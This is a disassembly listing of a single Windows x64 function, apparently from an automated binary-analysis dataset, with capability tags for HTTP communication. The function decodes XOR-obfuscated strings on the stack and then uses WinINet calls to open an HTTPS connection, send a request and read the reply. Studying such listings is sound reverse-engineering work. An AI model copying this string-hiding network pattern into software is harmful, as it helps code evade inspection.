Function at 0x259e51e1a
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x508
movabs rax, 0x3d84c3b35576c2a0
movabs r12, 0x10f0add62118ade3
movabs rbx, 0x466718334bc376f4
mov rsi, rdx
mov r14, r8
mov rdi, rcx
mov rbp, r9
lea rdx, [rsp + 0x49f]
lea r13, [rsp + 0x60]
movabs r8, 0x377e57586084ccc5
movabs rcx, 0x1552ccfa0c7c3f17
and rdx, 0xffffffffffffffe0
mov qword [rdx], rax
movabs rax, 0x360638092eb30fa0
mov qword [rdx + 0x40], r12
mov qword [rdx + 0x48], rbx
mov qword [rdx + 8], rax
movabs rax, 0x5817233903eda0b5
mov qword [rdx + 0x50], r8
movabs r8, 0xdea2891563c5d8c6
mov qword [rdx + 0x10], rax
movabs rax, 0xd4afe77a10aff7a8
mov qword [rdx + 0x58], r8
mov qword [rdx + 0x18], rax
vmovdqa ymm1, ymmword [rdx]
movabs rax, 0x6361cb877f78c498
vpxor ymm0, ymm1, ymmword [rdx + 0x40]
vmovdqa ymmword [rdx], ymm0
mov qword [rdx + 0x28], rax
mov qword [rdx + 0x68], rax
mov qword [rdx + 0x20], rcx
vmovdqa xmm2, xmmword [rdx + 0x20]
mov qword [rdx + 0x60], rcx
vpxor xmm0, xmm2, xmmword [rdx + 0x60]
mov rcx, r13
vmovdqa xmmword [rdx + 0x20], xmm0
call fcn.259e516f2
mov qword [rsp + 0x40], r12
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x88], rbx
lea r12, [rsp + 0x80]
movabs rax, 0x21de9cf9714cf9ab
mov edx, 1
mov qword [rsp + 0x48], rbx
vmovdqa xmm3, xmmword [rsp + 0x40]
xor ebx, ebx
mov rcx, r12
mov qword [rsp + 0x80], rax
vpxor xmm0, xmm3, xmmword [rsp + 0x80]
mov dword [rsp + 0x20], ebx
vmovdqa xmmword [rsp + 0x80], xmm0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbx, rax
test rax, rax
je 0x259e52143
xor r9d, r9d
xor r10d, r10d
xor r11d, r11d
mov r8d, 0x1bb
mov qword [rsp + 0x38], r9
mov rcx, rax
xor r9d, r9d
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r11
mov rdx, qword [rdi]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rdi, rax
test rax, rax
jne 0x259e51fbb
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ebx, 0xe5
jmp 0x259e5215d
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x30], 0x800000
xor r9d, r9d
movabs rax, 0x10f0add6754be2b3
mov qword [rsp + 0x38], rcx
mov rcx, rdi
movabs rdx, 0x10f0add62118ade3
mov qword [rsp + 0x80], rax
movabs rax, 0x466718334bc376f4
mov qword [rsp + 0x40], rdx
mov rdx, r12
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x48], rax
vmovdqa xmm4, xmmword [rsp + 0x40]
vpxor xmm0, xmm4, xmmword [rsp + 0x80]
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], r8
mov r8, qword [rsi]
vmovdqa xmmword [rsp + 0x80], xmm0
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rsi, rax
test rax, rax
jne 0x259e5205c
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call rsi
mov rcx, rbx
call rsi
mov ebx, 0xe4
jmp 0x259e5215d
mov dword [rsp + 0x58], 0xea60
mov r9d, 4
lea r8, [rsp + 0x58]
mov rcx, rax
mov edx, 6
call qword [sym.imp.WININET.dll_InternetSetOptionA]
mov rax, qword [r14 + 8]
mov r8d, dword [rsp + 0x68]
mov rcx, rsi
mov rdx, qword [rsp + 0x60]
mov dword [rsp + 0x20], eax
mov r9, qword [r14]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x259e520d4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rsi
mov ebp, eax
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rsi
mov rcx, rdi
call rsi
mov rcx, rbx
call rsi
xor ebx, ebx
cmp ebp, 0x2ee2
sete bl
lea ebx, [rbx*4 + 0xe3]
jmp 0x259e5215d
mov rax, qword [rbp]
xor edx, edx
lea r14, [rsp + 0x5c]
mov r15, qword [sym.imp.WININET.dll_InternetReadFile]
mov qword [rbp + 8], rdx
mov byte [rax], 0
xor eax, eax
mov r9, r14
mov r8d, 0x3ff
mov rdx, r12
mov dword [rsp + 0x5c], eax
mov rcx, rsi
call r15
test eax, eax
je 0x259e52126
mov eax, dword [rsp + 0x5c]
test eax, eax
je 0x259e52126
mov rdx, r12
mov rcx, rbp
mov byte [rsp + rax + 0x80], 0
call fcn.259e516ec
jmp 0x259e520ed
mov rcx, rsi
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rsi
mov rcx, rdi
call rsi
mov rcx, rbx
call rsi
mov ebx, 0xe8
jmp 0x259e5215d
mov ebx, 0xe6
jmp 0x259e5215d
mov rcx, r13
call fcn.259efbe80
mov eax, ebx
add rsp, 0x508
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret